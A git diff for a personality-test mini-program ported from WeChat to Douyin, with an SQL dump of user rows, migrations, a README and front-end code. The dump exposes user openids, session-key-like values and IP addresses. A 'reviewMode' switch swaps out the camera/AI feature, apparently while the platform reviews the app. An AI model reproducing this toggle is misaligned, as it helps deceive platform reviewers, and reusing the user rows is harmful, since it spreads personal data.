'oucCB1y6atjlKTz619OUmRKBDO30', NULL, '+BmcKqoenVTFUGy4rh/fOw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773287158, '124.220.124.244', NULL, 1773287158, 1773287158, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (40, 'oucCB12uNbF9uKd67yXASAHWn_bQ', NULL, 'QrbbWtXwVDMjMQj68ua8nA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773287165, '119.84.150.102', NULL, 1773287165, 1773287165, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (41, 'oucCB167FI5QToi3SGSwil9BcCtM', NULL, 'H3V1Dh4xUYuSY64D4hULuA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773290278, '119.84.150.103', NULL, 1773290278, 1773290278, 0, 0, 0); + +-- ---------------------------- +-- Table structure for mbti_enterprise_resume_uploads +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_enterprise_resume_uploads`; +CREATE TABLE `mbti_enterprise_resume_uploads` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `userId` int(11) NOT NULL COMMENT '用户ID(wechat_users.id)', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,可选', + `fileUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '文件访问URL', + `fileName` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '原始文件名', + `is_default` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否默认简历:1是 0否,同用户同企业仅一条为1', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '企业版简历上传记录表' ROW_FORMAT = Dynamic; + +-- 若表已存在且无 is_default 列,请执行: +-- ALTER TABLE mbti_enterprise_resume_uploads ADD COLUMN is_default tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否默认简历:1是 0否' AFTER fileName; + +SET FOREIGN_KEY_CHECKS = 1; diff --git a/api/migrations/add_feeFen_to_distribution_withdrawals.sql b/api/migrations/add_feeFen_to_distribution_withdrawals.sql new file mode 100644 index 0000000..da3fe46 --- /dev/null +++ b/api/migrations/add_feeFen_to_distribution_withdrawals.sql @@ -0,0 +1,4 @@ +-- 为提现记录表增加手续费字段(已有库执行) +-- 表名以实际前缀为准,若为 mbti_ 则表名为 mbti_distribution_withdrawals +ALTER TABLE `mbti_distribution_withdrawals` + ADD COLUMN `feeFen` int(11) NOT NULL DEFAULT 0 COMMENT '手续费(分)' AFTER `amountFen`; diff --git a/api/public/index.php b/api/public/index.php index 01fd02a..bd4782e 100644 --- a/api/public/index.php +++ b/api/public/index.php @@ -1,25 +1,25 @@ -http; - -$response = $http->run(); - -$response->send(); - -$http->end($response); - - +http; + +$response = $http->run(); + +$response->send(); + +$http->end($response); + + diff --git a/api/route/api.php b/api/route/api.php index 13393ad..b976b9e 100644 --- a/api/route/api.php +++ b/api/route/api.php @@ -218,6 +218,7 @@ Route::group('api/v1/superadmin', function () { Route::get('settings/fonts', 'superadmin.Settings/getFonts'); Route::get('settings/poster', 'superadmin.Settings/getPosterConfig'); Route::put('settings/poster', 'superadmin.Settings/updatePosterConfig'); + Route::put('settings/review-mode', 'superadmin.Settings/updateReviewMode'); Route::get('settings', 'superadmin.Settings/index'); Route::put('settings/system', 'superadmin.Settings/updateSystem'); Route::put('settings/report-requires-payment', 'superadmin.Settings/updateReportRequiresPayment'); diff --git a/douyin-miniprogram/README.md b/douyin-miniprogram/README.md new file mode 100644 index 0000000..1320d93 --- /dev/null +++ b/douyin-miniprogram/README.md @@ -0,0 +1,98 @@ +# MBTI王 · 抖音小程序版 + +从微信小程序 1:1 移植的抖音小程序版本。 + +## 项目结构 + +``` +douyin-miniprogram/ +├── app.js # 主入口(抖音登录 tt.login) +├── app.json # 页面与 TabBar 配置 +├── app.ttss # 全局样式 +├── project.tt.json # 抖音项目配置(需填入 AppID) +├── custom-tab-bar/ # 自定义 TabBar 组件 +├── images/ # 静态资源 +├── pages/ # 23 个页面 +│ ├── index/ # 首页、相机、上传、AI 结果 +│ ├── test-select/ # 测试类型选择 +│ ├── test/ # MBTI/DISC/PDP 问卷 +│ ├── result/ # 测试结果展示 +│ ├── purchase/ # 购买页 +│ ├── recharge/ # 企业充值 +│ ├── enterprise/ # 企业版 +│ ├── profile/ # 个人中心 +│ ├── user-profile/ # 个人资料编辑 +│ ├── history/ # 测试历史 +│ ├── phone-auth/ # 手机号授权 +│ └── promo/ # 推广中心、海报、提现 +└── utils/ # 工具模块 + ├── request.js # HTTP 请求封装 + ├── payment.js # 抖音支付(tt.pay) + ├── phoneAuth.js # 手机号授权 + ├── share.js # 分享参数 + ├── questions.js # 测试题目 + ├── descriptions.js # 类型描述 + └── resultFormat.js # 结果格式化 +``` + +## 与微信版差异 + +| 模块 | 微信 | 抖音 | +|:--|:--|:--| +| 文件扩展名 | .wxml / .wxss | .ttml / .ttss | +| API 前缀 | wx. | tt. | +| 模板指令 | wx:if / wx:for | tt:if / tt:for | +| 登录接口 | /api/auth/wechat | /api/auth/douyin | +| 支付 | wx.requestPayment | tt.pay({ orderInfo, service: 5 }) | +| 商户转账 | wx.requestMerchantTransfer | 服务端直接处理 | +| 朋友圈分享 | onShareTimeline | 不支持 | +| 文件选择 | wx.chooseMessageFile | tt.chooseImage(仅图片) | + +## 后端需新增的接口 + +### 1. 抖音登录 `/api/auth/douyin` (POST) + +接收 `{ code, anonymousCode }` → 调用抖音 `code2session` 接口: + +``` +GET https://developer.toutiao.com/api/apps/v2/jscode2session +参数: appid, secret, code +``` + +返回格式同微信版:`{ code: 200, data: { token, user } }` + +### 2. 抖音用户资料 `/api/auth/douyin/profile` (PUT) + +同 `/api/auth/wechat/profile`,接收 `{ nickname, avatar, birthday }`。 + +### 3. 抖音手机号 `/api/auth/douyin/phone` (POST) + +抖音手机号获取方式与微信类似(button open-type="getPhoneNumber"), +回调中拿到 code 后传给后端解密。 + +### 4. 抖音支付 `/api/payment/create` (POST) + +当 `paymentMethod === 'douyin'` 时,需调用抖音担保支付预下单接口, +返回 `{ order_id, order_token }` 供前端 `tt.pay` 使用。 + +抖音担保支付文档: +https://developer.open-douyin.com/docs/resource/zh-CN/mini-app/develop/server/ecpay/pay-list/pay + +### 5. 提现确认 `/api/distribution/withdrawals/confirm-receipt` (POST) + +抖音没有 `requestMerchantTransfer`,提现需服务端直接转账到支付宝/银行卡。 + +## 使用方式 + +1. 在抖音开放平台(https://developer.open-douyin.com)创建小程序,获取 AppID +2. 将 AppID 填入 `project.tt.json` 的 `appid` 字段 +3. 用抖音开发者工具打开本项目目录 +4. 在开发者工具中预览/上传 + +### CLI 上传 + +```bash +npm install -g tt-ide-cli +tma login +tma upload --project-path ./douyin-miniprogram --version "1.0.0" +``` diff --git a/douyin-miniprogram/app.js b/douyin-miniprogram/app.js new file mode 100644 index 0000000..e0bdf9e --- /dev/null +++ b/douyin-miniprogram/app.js @@ -0,0 +1,315 @@ +// app.js - MBTI抖音小程序主入口 +const { request } = require('./utils/request.js') + +App({ + globalData: { + userInfo: null, + openId: null, + token: null, + siteTitle: '神仙团队性格测试', + textConfig: null, + appScope: 'personal', + enterpriseIdFromScene: null, + apiBase: 'https://mbtiapi.quwanzhi.com', + vipInfo: null, + testCount: 0, + unlockedTests: [], + mbtiResult: null, + discResult: null, + pdpResult: null, + aiResult: null, + reviewMode: true + }, + + onLaunch() { + this.loadStoredData() + this.silentLogin() + + this.getRuntimeConfig().then((cfg) => { + if (cfg) { + if (cfg.siteTitle) this.globalData.siteTitle = cfg.siteTitle + } + }).catch(() => {}) + }, + + loadStoredData() { + const token = tt.getStorageSync('token') + if (token) { + this.globalData.token = token + } + const userInfo = tt.getStorageSync('userInfo') + if (userInfo) { + this.globalData.userInfo = userInfo + this.globalData.openId = userInfo.openid || userInfo.openId || null + } + + const vipInfo = tt.getStorageSync('vipInfo') + if (vipInfo) { + this.globalData.vipInfo = vipInfo + } + + const testCount = tt.getStorageSync('testCount') + if (testCount) { + this.globalData.testCount = testCount + } + + const unlockedTests = tt.getStorageSync('unlockedTests') + if (unlockedTests) { + this.globalData.unlockedTests = unlockedTests + } + + this.globalData.mbtiResult = tt.getStorageSync('mbtiResult') || null + this.globalData.discResult = tt.getStorageSync('discResult') || null + this.globalData.pdpResult = tt.getStorageSync('pdpResult') || null + this.globalData.aiResult = tt.getStorageSync('aiResult') || null + }, + + /** + * 静默登录:tt.login 取 code,请求后端换 token 与用户信息 + * 抖音 tt.login 返回 code + anonymousCode + * 后端需实现 /api/auth/douyin 接口(code2session 换 openid) + */ + silentLogin() { + return new Promise((resolve) => { + tt.login({ + force: false, + success: (res) => { + const code = res.code + const anonymousCode = res.anonymousCode + + if (!code && !anonymousCode) { + resolve(false) + return + } + + const url = `${this.globalData.apiBase}/api/auth/douyin` + tt.request({ + url, + method: 'POST', + header: { 'Content-Type': 'application/json' }, + data: { + code: code || '', + anonymousCode: anonymousCode || '' + }, + success: (response) => { + if (response.statusCode === 200 && response.data && response.data.code === 200) { + const data = response.data.data || {} + const { token, user } = data + if (token) { + this.globalData.token = token + tt.setStorageSync('token', token) + } + if (user) { + this.globalData.userInfo = user + this.globalData.openId = user.openid || user.openId || null + tt.setStorageSync('userInfo', user) + } + if (token) { + this._tryDistributionBind() + } + resolve(!!token) + return + } + resolve(false) + }, + fail: (err) => { + console.error('登录请求失败:', err) + const storedToken = tt.getStorageSync('token') + const storedUser = tt.getStorageSync('userInfo') + if (storedToken) { + this.globalData.token = storedToken + this.globalData.userInfo = storedUser || null + this.globalData.openId = storedUser ? storedUser.id : null + resolve(true) + } else { + resolve(false) + } + } + }) + }, + fail: () => resolve(false) + }) + }) + }, + + ensureLogin() { + if (this.globalData.token) return Promise.resolve(true) + return this.silentLogin() + }, + + _tryDistributionBind() { + const inviterId = this.globalData._pendingInviterId + const scope = this.globalData._pendingInviterScope || 'personal' + const eid = this.globalData._pendingInviterEid || null + + if (!inviterId || inviterId <= 0) return + + this.globalData._pendingInviterId = null + this.globalData._pendingInviterScope = null + this.globalData._pendingInviterEid = null + + const token = this.globalData.token + if (!token) return + + const data = { inviterId, scope } + if (eid) data.eid = eid + + request({ + url: '/api/distribution/bind', + method: 'POST', + data, + success: () => {}, + fail: () => {} + }) + }, + + logout() { + this.globalData.token = null + this.globalData.userInfo = null + this.globalData.openId = null + tt.removeStorageSync('token') + tt.removeStorageSync('userInfo') + }, + + /** + * 获取用户信息 + * 抖音使用 tt.getUserProfile 获取头像和昵称 + */ + getUserInfo(callback) { + tt.getUserProfile({ + desc: '用于展示用户头像和昵称', + success: (res) => { + const u = res.userInfo + this.globalData.userInfo = { ...this.globalData.userInfo, ...u, avatarUrl: u.avatarUrl || u.avatar } + tt.setStorageSync('userInfo', this.globalData.userInfo) + callback && callback(this.globalData.userInfo) + this.syncProfileToServer({ nickname: u.nickName, avatar: u.avatarUrl || u.avatar }) + }, + fail: () => { + callback && callback(this.globalData.userInfo || null) + } + }) + }, + + syncProfileToServer(profile, callback) { + if (!this.globalData.token || !profile) { + callback && callback(false) + return + } + + console.log('同步用户资料到服务器:', profile) + + request({ + url: '/api/auth/douyin/profile', + method: 'PUT', + data: profile, + success: (res) => { + console.log('同步用户资料响应:', res) + if (res.statusCode === 200 && res.data && res.data.code === 200) { + if (res.data.data) { + const updatedUserInfo = { ...this.globalData.userInfo, ...res.data.data } + if (profile.nickname) { + updatedUserInfo.nickname = profile.nickname + updatedUserInfo.nickName = profile.nickname + } + if (profile.avatar) { + updatedUserInfo.avatar = profile.avatar + updatedUserInfo.avatarUrl = profile.avatar + } + if (profile.birthday !== undefined) { + updatedUserInfo.birthday = profile.birthday + } + this.globalData.userInfo = updatedUserInfo + tt.setStorageSync('userInfo', updatedUserInfo) + console.log('用户资料已同步:', updatedUserInfo) + } else { + const updatedUserInfo = { ...this.globalData.userInfo, ...profile } + if (profile.nickname) { + updatedUserInfo.nickname = profile.nickname + updatedUserInfo.nickName = profile.nickname + } + if (profile.avatar) { + updatedUserInfo.avatar = profile.avatar + updatedUserInfo.avatarUrl = profile.avatar + } + if (profile.birthday !== undefined) { + updatedUserInfo.birthday = profile.birthday + } + this.globalData.userInfo = updatedUserInfo + tt.setStorageSync('userInfo', updatedUserInfo) + console.log('用户资料已更新(本地):', updatedUserInfo) + } + callback && callback(true) + } else { + console.error('更新用户资料失败:', res.data) + callback && callback(false) + } + }, + fail: (err) => { + console.error('请求失败:', err) + callback && callback(false) + } + }) + }, + + saveTestResult(type, result) { + const key = `${type}Result` + tt.setStorageSync(key, result) + this.globalData[key] = result + + if (this.globalData.token) { + const scope = this.globalData.appScope || 'personal' + const storedUser = tt.getStorageSync('userInfo') || null + const enterpriseId = + scope === 'enterprise' + ? (this.globalData.enterpriseIdFromScene || (this.globalData.userInfo && this.globalData.userInfo.enterpriseId) || (storedUser && storedUser.enterpriseId) || null) + : null + tt.request({ + url: `${this.globalData.apiBase}/api/test/submit`, + method: 'POST', + header: { + 'Authorization': `Bearer ${this.globalData.token}`, + 'Content-Type': 'application/json' + }, + data: { + testType: type, + answers: result.answers || [], + result: result, + userId: this.globalData.userInfo?.id ?? this.globalData.openId, + enterpriseId: enterpriseId || undefined, + testDuration: result.testDuration || 0, + timestamp: new Date().toISOString() + } + }) + } + }, + + getTestResult(type) { + return this.globalData[`${type}Result`] || tt.getStorageSync(`${type}Result`) || null + }, + + getRuntimeConfig() { + return new Promise((resolve, reject) => { + const scope = this.globalData.appScope || 'personal' + const base = this.globalData.apiBase.replace(/\/$/, '') + const url = `${base}/api/config/runtime?scope=${encodeURIComponent(scope)}` + const token = this.globalData.token || tt.getStorageSync('token') || '' + tt.request({ + url, + method: 'GET', + header: token ? { Authorization: 'Bearer ' + token } : {}, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.code === 200) { + const data = res.data.data || {} + if (data.siteTitle) this.globalData.siteTitle = data.siteTitle + if (data.textConfig) this.globalData.textConfig = data.textConfig + resolve(data) + } else { + reject(new Error(res.data && res.data.message ? res.data.message : '获取配置失败')) + } + }, + fail: reject + }) + }) + } +}) diff --git a/douyin-miniprogram/app.json b/douyin-miniprogram/app.json new file mode 100644 index 0000000..f4cfc06 --- /dev/null +++ b/douyin-miniprogram/app.json @@ -0,0 +1,61 @@ +{ + "pages": [ + "pages/index/index", + "pages/index/camera", + "pages/index/upload", + "pages/index/result", + "pages/test-select/index", + "pages/test/mbti", + "pages/test/disc", + "pages/test/pdp", + "pages/result/mbti", + "pages/result/disc", + "pages/result/pdp", + "pages/result/resume", + "pages/purchase/index", + "pages/recharge/index", + "pages/enterprise/index", + "pages/enterprise/resume-history", + "pages/profile/index", + "pages/user-profile/index", + "pages/history/index", + "pages/phone-auth/index", + "pages/promo/index", + "pages/promo/poster", + "pages/promo/withdrawals" + ], + "tabBar": { + "custom": true, + "color": "#999999", + "selectedColor": "#7c3aed", + "backgroundColor": "#ffffff", + "borderStyle": "black", + "list": [ + { + "pagePath": "pages/index/index", + "text": "首页", + "iconPath": "images/home.png", + "selectedIconPath": "images/home-active.png" + }, + { + "pagePath": "pages/index/camera", + "text": "查看报告", + "iconPath": "images/camera.png", + "selectedIconPath": "images/camera-active.png" + }, + { + "pagePath": "pages/profile/index", + "text": "我的", + "iconPath": "images/user.png", + "selectedIconPath": "images/user-active.png" + } + ] + }, + "window": { + "backgroundTextStyle": "light", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTitleText": "神仙团队性格测试", + "navigationBarTextStyle": "black", + "backgroundColor": "#F5F5F5" + } +} diff --git a/douyin-miniprogram/app.ttss b/douyin-miniprogram/app.ttss new file mode 100644 index 0000000..b649480 --- /dev/null +++ b/douyin-miniprogram/app.ttss @@ -0,0 +1,176 @@ +/* app.wxss - 全局样式 */ + +/* 主题颜色 */ +page { + --primary-color: #FF6B8A; + --primary-light: #FFE4E9; + --secondary-color: #8B5CF6; + --secondary-light: #EDE9FE; + --success-color: #10B981; + --warning-color: #F59E0B; + --danger-color: #EF4444; + --text-primary: #1F2937; + --text-secondary: #6B7280; + --text-muted: #9CA3AF; + --bg-primary: #FFFFFF; + --bg-secondary: #F3F4F6; + --border-color: #E5E7EB; + + background-color: var(--bg-secondary); + font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; + font-size: 28rpx; + color: var(--text-primary); + line-height: 1.6; +} + +/* 玻璃卡片效果 */ +.glass-card { + background: rgba(255, 255, 255, 0.95); + backdrop-filter: blur(20px); + border-radius: 24rpx; + box-shadow: 0 8rpx 32rpx rgba(0, 0, 0, 0.08); + padding: 32rpx; + margin-bottom: 24rpx; +} + +/* 渐变背景 */ +.gradient-personal { + background: linear-gradient(135deg, #FF6B8A 0%, #FF8E53 100%); +} + +.gradient-enterprise { + background: linear-gradient(135deg, #8B5CF6 0%, #3B82F6 100%); +} + +/* 按钮样式 */ +.btn { + display: flex; + align-items: center; + justify-content: center; + height: 88rpx; + border-radius: 44rpx; + font-size: 32rpx; + font-weight: 600; + border: none; + transition: all 0.3s ease; +} + +.btn-primary { + background: linear-gradient(135deg, #FF6B8A 0%, #FF8E53 100%); + color: #FFFFFF; +} + +.btn-secondary { + background: #FFFFFF; + color: var(--primary-color); + border: 2rpx solid var(--primary-color); +} + +.btn-outline { + background: transparent; + color: var(--text-secondary); + border: 2rpx solid var(--border-color); +} + +.btn:active { + transform: scale(0.98); + opacity: 0.9; +} + +/* 进度条 */ +.progress-bar { + width: 100%; + height: 12rpx; + background: var(--bg-secondary); + border-radius: 6rpx; + overflow: hidden; +} + +.progress-bar-fill { + height: 100%; + border-radius: 6rpx; + transition: width 0.3s ease; +} + +/* 标签 */ +.tag { + display: inline-flex; + align-items: center; + padding: 8rpx 20rpx; + border-radius: 24rpx; + font-size: 24rpx; + font-weight: 500; +} + +.tag-primary { + background: var(--primary-light); + color: var(--primary-color); +} + +.tag-secondary { + background: var(--secondary-light); + color: var(--secondary-color); +} + +/* 文字样式 */ +.text-primary { + color: var(--text-primary); +} + +.text-secondary { + color: var(--text-secondary); +} + +.text-muted { + color: var(--text-muted); +} + +.text-center { + text-align: center; +} + +.font-bold { + font-weight: 700; +} + +.font-semibold { + font-weight: 600; +} + +/* 间距 */ +.mt-2 { margin-top: 16rpx; } +.mt-4 { margin-top: 32rpx; } +.mb-2 { margin-bottom: 16rpx; } +.mb-4 { margin-bottom: 32rpx; } +.p-4 { padding: 32rpx; } + +/* 弹性布局 */ +.flex { + display: flex; +} + +.flex-col { + flex-direction: column; +} + +.items-center { + align-items: center; +} + +.justify-center { + justify-content: center; +} + +.justify-between { + justify-content: space-between; +} + +.flex-1 { + flex: 1; +} + +/* 安全区域 */ +.safe-area-bottom { + padding-bottom: calc(constant(safe-area-inset-bottom) + 16rpx); + padding-bottom: calc(env(safe-area-inset-bottom) + 16rpx); +} diff --git a/douyin-miniprogram/custom-tab-bar/index.js b/douyin-miniprogram/custom-tab-bar/index.js new file mode 100644 index 0000000..2663637 --- /dev/null +++ b/douyin-miniprogram/custom-tab-bar/index.js @@ -0,0 +1,80 @@ +// 自定义 tabBar(不使用微信内置):灰线 + 三栏,中间为浮起圆钮 +Component({ + data: { + selected: 0, + reviewMode: false, + list: [ + { pagePath: '/pages/index/index', text: '首页', textKey: 'home', icon: 'home' }, + { pagePath: '/pages/index/camera', text: '查看报告', textKey: 'camera', icon: 'camera' }, + { pagePath: '/pages/profile/index', text: '我的', textKey: 'profile', icon: 'user' } + ] + }, + lifetimes: { + attached() { + this.updateSelected() + this.checkReviewMode() + } + }, + pageLifetimes: { + show() { + this.updateSelected() + this.checkReviewMode() + } + }, + methods: { + checkReviewMode() { + try { + const app = getApp() + const rm = !!(app && app.globalData && app.globalData.reviewMode) + this.setData({ reviewMode: rm }) + } catch (e) {} + }, + updateSelected() { + try { + const pages = getCurrentPages() + if (!pages || pages.length === 0) return + const currentPage = pages[pages.length - 1] + if (!currentPage || !currentPage.route) return + const url = currentPage.route + let selected = 0 + if (url === 'pages/index/index' || url === 'pages/enterprise/index') { + selected = 0 + } else if (url === 'pages/index/camera') { + selected = 1 + } else if (url === 'pages/profile/index') { + selected = 2 + } + this.setData({ selected }) + } catch (error) { + console.error('updateSelected error:', error) + this.setData({ selected: 0 }) + } + }, + switchTab(e) { + const index = parseInt(e.currentTarget.dataset.index, 10) + let url = e.currentTarget.dataset.path + + if (index === 0) { + try { + const app = getApp() + const scope = (app && app.globalData && app.globalData.appScope) || 'personal' + if (scope === 'enterprise') { + tt.navigateTo({ url: '/pages/enterprise/index' }) + this.setData({ selected: index }) + return + } + } catch (e) {} + } + + // 审核模式:中间按钮跳转到测试选择页而非相机 + if (index === 1 && this.data.reviewMode) { + tt.navigateTo({ url: '/pages/test-select/index' }) + this.setData({ selected: index }) + return + } + + tt.switchTab({ url }) + this.setData({ selected: index }) + } + } +}) diff --git a/douyin-miniprogram/custom-tab-bar/index.json b/douyin-miniprogram/custom-tab-bar/index.json new file mode 100644 index 0000000..efdc3c8 --- /dev/null +++ b/douyin-miniprogram/custom-tab-bar/index.json @@ -0,0 +1,3 @@ +{ + "component": true +} diff --git a/douyin-miniprogram/custom-tab-bar/index.ttml b/douyin-miniprogram/custom-tab-bar/index.ttml new file mode 100644 index 0000000..1bf2325 --- /dev/null +++ b/douyin-miniprogram/custom-tab-bar/index.ttml @@ -0,0 +1,48 @@ + + + + + + + 首页 + + + + + 测试 + + + + + + + + + + + 我的 + + + diff --git a/douyin-miniprogram/custom-tab-bar/index.ttss b/douyin-miniprogram/custom-tab-bar/index.ttss new file mode 100644 index 0000000..ccc67ab --- /dev/null +++ b/douyin-miniprogram/custom-tab-bar/index.ttss @@ -0,0 +1,104 @@ +/* 自定义 tabBar:白底、顶部分割线、中间浮起圆钮 */ +.tab-bar { + position: fixed; + left: 0; + right: 0; + bottom: 0; + background: #ffffff; + padding-bottom: env(safe-area-inset-bottom); + z-index: 9999; +} + +.tab-bar-line { + height: 1rpx; + background: #e5e7eb; + width: 100%; +} + +.tab-bar-inner { + display: flex; + align-items: flex-end; + justify-content: space-around; + height: 100rpx; + padding: 0 20rpx 8rpx; + position: relative; +} + +.tab-item { + flex: 1; + display: flex; + flex-direction: column; + align-items: center; + justify-content: flex-end; + padding-bottom: 8rpx; +} + +.tab-icon { + width: 48rpx; + height: 48rpx; + margin-bottom: 4rpx; +} + +.tab-text { + font-size: 20rpx; + color: #999999; +} + +.tab-item.active .tab-text { + color: #7c3aed; +} + +/* 中间项:浮起彩色圆钮 + 相机图标 */ +.tab-item-center { + position: relative; + display: flex; + flex-direction: column; + align-items: center; + justify-content: flex-end; + margin-top: -56rpx; + padding-bottom: 8rpx; +} + +.center-circle { + width: 96rpx; + height: 96rpx; + min-width: 96rpx; + min-height: 96rpx; + border-radius: 50%; + background: linear-gradient(135deg, #7c3aed 0%, #a78bfa 100%); + display: flex; + align-items: center; + justify-content: center; + margin-bottom: 4rpx; + box-shadow: 0 4rpx 20rpx rgba(124, 58, 237, 0.4); + border: 4rpx solid #ffffff; + flex-shrink: 0; + overflow: hidden; +} + +.tab-item-center.active .center-circle { + background: linear-gradient(135deg, #6d28d9 0%, #7c3aed 100%); + box-shadow: 0 4rpx 20rpx rgba(124, 58, 237, 0.6); +} + +.center-icon { + width: 44rpx; + height: 44rpx; +} + +/* 占位:与「首页」「我的」文字等高,保证中间圆钮与两侧图标对齐 */ +.center-text-placeholder { + height: 24rpx; + width: 1rpx; + visibility: hidden; +} + +.tab-item-center .center-text { + color: #7c3aed; + font-size: 20rpx; + font-weight: 600; +} + +.tab-item-center.active .center-text { + color: #6d28d9; +} diff --git a/douyin-miniprogram/images/camera-active.png b/douyin-miniprogram/images/camera-active.png new file mode 100644 index 0000000..80c59a2 Binary files /dev/null and b/douyin-miniprogram/images/camera-active.png differ diff --git a/douyin-miniprogram/images/camera.png b/douyin-miniprogram/images/camera.png new file mode 100644 index 0000000..80c59a2 Binary files /dev/null and b/douyin-miniprogram/images/camera.png differ diff --git a/douyin-miniprogram/images/default-avatar.png b/douyin-miniprogram/images/default-avatar.png new file mode 100644 index 0000000..81bf4aa Binary files /dev/null and b/douyin-miniprogram/images/default-avatar.png differ diff --git a/douyin-miniprogram/images/home-active.png b/douyin-miniprogram/images/home-active.png new file mode 100644 index 0000000..4418853 Binary files /dev/null and b/douyin-miniprogram/images/home-active.png differ diff --git a/douyin-miniprogram/images/home.png b/douyin-miniprogram/images/home.png new file mode 100644 index 0000000..98b0cff Binary files /dev/null and b/douyin-miniprogram/images/home.png differ diff --git a/douyin-miniprogram/images/mbti-team-image.png b/douyin-miniprogram/images/mbti-team-image.png new file mode 100644 index 0000000..b95f0cf Binary files /dev/null and b/douyin-miniprogram/images/mbti-team-image.png differ diff --git a/douyin-miniprogram/images/user-active.png b/douyin-miniprogram/images/user-active.png new file mode 100644 index 0000000..cf1b6d0 Binary files /dev/null and b/douyin-miniprogram/images/user-active.png differ diff --git a/douyin-miniprogram/images/user.png b/douyin-miniprogram/images/user.png new file mode 100644 index 0000000..ef1fb59 Binary files /dev/null and b/douyin-miniprogram/images/user.png differ diff --git a/douyin-miniprogram/pages/ai-test/camera.js b/douyin-miniprogram/pages/ai-test/camera.js new file mode 100644 index 0000000..9555c82 --- /dev/null +++ b/douyin-miniprogram/pages/ai-test/camera.js @@ -0,0 +1 @@ +Page({}) \ No newline at end of file diff --git a/douyin-miniprogram/pages/ai-test/camera.json b/douyin-miniprogram/pages/ai-test/camera.json new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/douyin-miniprogram/pages/ai-test/camera.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/douyin-miniprogram/pages/ai-test/camera.ttml b/douyin-miniprogram/pages/ai-test/camera.ttml new file mode 100644 index 0000000..f966f72 --- /dev/null +++ b/douyin-miniprogram/pages/ai-test/camera.ttml @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/douyin-miniprogram/pages/ai-test/camera.ttss b/douyin-miniprogram/pages/ai-test/camera.ttss new file mode 100644 index 0000000..0834804 --- /dev/null +++ b/douyin-miniprogram/pages/ai-test/camera.ttss @@ -0,0 +1 @@ +/* placeholder */ \ No newline at end of file diff --git a/douyin-miniprogram/pages/ai-test/index.js b/douyin-miniprogram/pages/ai-test/index.js new file mode 100644 index 0000000..9555c82 --- /dev/null +++ b/douyin-miniprogram/pages/ai-test/index.js @@ -0,0 +1 @@ +Page({}) \ No newline at end of file diff --git a/douyin-miniprogram/pages/ai-test/index.json b/douyin-miniprogram/pages/ai-test/index.json new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/douyin-miniprogram/pages/ai-test/index.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/douyin-miniprogram/pages/ai-test/index.ttml b/douyin-miniprogram/pages/ai-test/index.ttml new file mode 100644 index 0000000..f966f72 --- /dev/null +++ b/douyin-miniprogram/pages/ai-test/index.ttml @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/douyin-miniprogram/pages/ai-test/index.ttss b/douyin-miniprogram/pages/ai-test/index.ttss new file mode 100644 index 0000000..0834804 --- /dev/null +++ b/douyin-miniprogram/pages/ai-test/index.ttss @@ -0,0 +1 @@ +/* placeholder */ \ No newline at end of file diff --git a/douyin-miniprogram/pages/ai-test/result.js b/douyin-miniprogram/pages/ai-test/result.js new file mode 100644 index 0000000..9555c82 --- /dev/null +++ b/douyin-miniprogram/pages/ai-test/result.js @@ -0,0 +1 @@ +Page({}) \ No newline at end of file diff --git a/douyin-miniprogram/pages/ai-test/result.json b/douyin-miniprogram/pages/ai-test/result.json new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/douyin-miniprogram/pages/ai-test/result.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/douyin-miniprogram/pages/ai-test/result.ttml b/douyin-miniprogram/pages/ai-test/result.ttml new file mode 100644 index 0000000..f966f72 --- /dev/null +++ b/douyin-miniprogram/pages/ai-test/result.ttml @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/douyin-miniprogram/pages/ai-test/result.ttss b/douyin-miniprogram/pages/ai-test/result.ttss new file mode 100644 index 0000000..0834804 --- /dev/null +++ b/douyin-miniprogram/pages/ai-test/result.ttss @@ -0,0 +1 @@ +/* placeholder */ \ No newline at end of file diff --git a/douyin-miniprogram/pages/enterprise/index.js b/douyin-miniprogram/pages/enterprise/index.js new file mode 100644 index 0000000..6e6f725 --- /dev/null +++ b/douyin-miniprogram/pages/enterprise/index.js @@ -0,0 +1,225 @@ +// pages/enterprise/index.js - 企业版首页 +const app = getApp() +const { request } = require('../../utils/request') + +Page({ + data: { + statusBarHeight: 0, + navbarHeight: 88, + siteTitle: '神仙团队性格测试', + startButtonEnterprise: '开始性格测试', + aiAnalysisText: '分析', + reviewMode: true + }, + + onLoad(options) { + // 企业版首页:固定 scope=enterprise + const app = getApp() + try { app.globalData.appScope = 'enterprise' } catch (e) {} + + // ── 解析入参(兼容两种来源:扫码 scene / 分享链接 options)── + const rawScene = (options && options.scene) ? decodeURIComponent(options.scene) : '' + // 解析 scene 中的 key=value 对(如 uid=1&eid=6) + const sceneParams = {} + if (rawScene) { + rawScene.split('&').forEach(pair => { + const [k, v] = pair.split('=') + if (k) sceneParams[k] = v || '' + }) + } + 